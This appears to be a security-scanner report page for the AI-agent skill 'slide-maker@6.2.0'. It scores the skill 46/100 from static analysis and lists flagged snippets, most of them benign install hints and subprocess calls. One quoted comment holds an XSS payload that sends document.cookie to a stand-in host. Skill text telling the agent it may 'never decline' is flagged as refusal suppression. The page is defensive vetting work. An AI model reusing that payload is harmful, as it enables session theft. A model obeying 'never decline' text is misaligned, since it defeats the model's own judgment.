slide-maker@6.2.0
CAUTION· static onlyPublisher claims: "Details in https://github.com/addsumtech/slides_maker" Observed in sandbox: static analysis only — behavior not yet observed.
Coverage
Static only; nothing was run yet.The label rests on the code, the instruction files and the publisher. The honeypot run replaces this verdict when it completes.
Is [email protected] safe to install?
KillerSkills analysed it statically (a sandbox run is pending) on 2026-11-08 and scored it 46/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: document.cookie access; Refusal suppression; Privileged sudo command. Summary: static analysis only — behavior not yet observed.
Behavior trace
Queued for honeypot run · static analysis onlyThis version has not been detonated yet. The score above counts behavior as unknown (50/100), so it cannot read Verified until the honeypot run completes and replaces this verdict.
Static findings
# so a value like `#fff" onmouseover="fetch('http://x/'+document.cookie)` broke out of theFix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.`review: thorough (escalated — defense deck, auto)` — it may only never decline.Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct."macOS: brew install cairo | Ubuntu: sudo apt install libcairo2 | "Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.d2 = (2 + rm / 256.0) * dr * dr + 4 * dg * dg + (2 + (255 - rm) / 256.0) * db * dbFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.installs — LibreOffice, an SVG rasterizer — are heavier, need sudo / a package manager / a GUIFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."Ubuntu: sudo apt install librsvg2-bin | "Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.return ((2 + rm / 256.0) * dr * dr + 4 * dg * dg + (2 + (255 - rm) / 256.0) * db * db) ** 0.5Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell." macOS: brew install --cask libreoffice · Ubuntu: sudo apt install "Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."Install one once: macOS: brew install librsvg · Ubuntu: sudo apt install "Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.never-auto-kill response, same "record the justification on the gate line" escape — because theFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.kill the gap"). *(Why this tick exists, measured: across three delivered decks the build scriptsFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.`.codex-delivery-receipt.json` output. Before sharing a file path, download link, file citation, orFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.return math.sqrt((2 + rm / 256.0) * dr * dr + 4 * dg * dg + (2 + (255 - rm) / 256.0) * db * db)Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.return ((2 + rm / 256.0) * dr * dr + 4 * dg * dg + (2 + (255 - rm) / 256.0) * db * db) ** 0.5Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell._SAMPLE_URL_OK = re.compile(r"^https://slides\.addsum\.top/languages/media/[a-z0-9_]+/sample-[a-z0-9_]+\.jpg$")Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.…o/build_<deck>.py` works from anywhere. - **Brand branch** — a confirmed `brand.json` from Step 0: `python3 scripts/brand_kit.py style <deck-dir>/brand.json [--ground dark]` writes `brand_style.py` beside it (the presets' shape and style.p…Fix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.… npm package and opens a live site. With Node 22+ and a Chrome-family browser, `npx [email protected] <url> --no-stores --out <deck-dir>/brand-src` opens the site in a headless Chro…Fix: Pin versions and sources; vendor anything fetched at install time.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.per-`shape` update command (never `npx skills add` on a plugin install), the rule to re-read SKILL.md after anFix: Pin versions and sources; vendor anything fetched at install time.blown at the source, here.) **Write the copy like a sharp human in that field, not a content generator — kill theFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.d = (2 + rm / 256.0) * dr * dr + 4 * dg * dg + (2 + (255 - rm) / 256.0) * db * dbFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell." Debian/Ubuntu: sudo apt install libreoffice\n"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.… the layout lint** — `python3 scripts/lint_deck.py <deck.pptx>` (add `--json out.json` for a structured copy of findings + the stats block — hand THAT to dispatched critics instead of re-parsing console text; the lint auto-reads the `./ren…Fix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.npx copy on the same machine answer for each other — and the wrong one is the dangerousFix: Pin versions and sources; vendor anything fetched at install time.r = subprocess.run([sys.executable, "-m", "pip", "install", *extra, *miss],Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.result = subprocess.run(command, capture_output=True, text=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.REPO ROOT, which `npx skills add` does not copy — so a copy install used to have literallyFix: Pin versions and sources; vendor anything fetched at install time.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.# working tree to run `npx skills add` and overwrite itself. Stay silent instead.Fix: Pin versions and sources; vendor anything fetched at install time.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.npx skills add (a COPY) no .git, no CHANGELOG -> ask GitHub for the VERSION fileFix: Pin versions and sources; vendor anything fetched at install time.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.r = subprocess.run(["git", "-C", str(SKILL_ROOT), *args],Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.system — telling it `npx skills add` would install a second, competing copy beside it."""Fix: Pin versions and sources; vendor anything fetched at install time.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a character, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.proc = subprocess.run(cmd, capture_output=True, text=True, cwd=cwd)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.stdout = subprocess.run(cmd, cwd=str(work), stdin=subprocess.DEVNULL,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.subprocess.run(["rsvg-convert", "-w", str(out_px), "-h", str(out_px),Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.subprocess.run([chrome, "--headless", "--disable-gpu", f"--screenshot={out_png}",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.r = subprocess.run([ffprobe, "-v", "error", "-show_entries", "format=duration",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.r = subprocess.run([ffprobe, "-v", "error", "-select_streams", "v", "-show_entries",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.r = subprocess.run(cmd, capture_output=True, text=True, timeout=180)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.subprocess.run(cmd, capture_output=True, text=True, timeout=600, check=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.r = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.SAMPLE_SITE = "https://slides.addsum.top/languages/media/{name}/sample-{ground}.jpg"Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.Measured: a deck shipped `npx skills add addsumtech/slides_maker` in a code panel. In theFix: Pin versions and sources; vendor anything fetched at install time.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.n = re.sub(r"[\u300c\u300d\u2018\u2019\u201c\u201d\'\"]+", "", n)Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.installer chooses what to copy (`npx skills add` lands ~55 files where the tree has ~193), soFix: Pin versions and sources; vendor anything fetched at install time.return subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.from _console import safe_stdio # degrade a character, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.r = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.PermissionError raised out of the Step-0 interview would kill a deck over a directory theFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.from _console import safe_stdio # degrade a tick, never kill the reportFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.("https://slides.addsum.top/#vl-", "Preview all pages")Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.carrying both lenses — and may escalate, never decline; see "Review tier in auto mode").Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.site, more = ("https://slides.addsum.top/cn/#vl-", "查看全部页面") if zh else \Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.LIBRARY_ZH = "https://slides.addsum.top/cn/#languages"Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.LIBRARY = "https://slides.addsum.top/#languages" # the library is a section of the home page (2026-10-23)Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.Cost to the agent
Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.
Known vulnerabilities
Vulnerability advisories (OSV) cover npm and PyPI packages; this registry has no advisory database.
What would make this Verified
34 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%- Unclaimed publisher≈ +8 on the totalClaim dong845: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
- document.cookie access≈ +4 on the totalReplace encoded or assembled strings with plain literals and remove undeclared network calls.
- Privileged sudo command≈ +4 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
- Destructive file system command detected≈ +4 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
- Process kill command≈ +2 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
- File type combined with upload action≈ +2 on the totalRemove the call, or declare the host in frontmatter and explain in the README what is sent and why.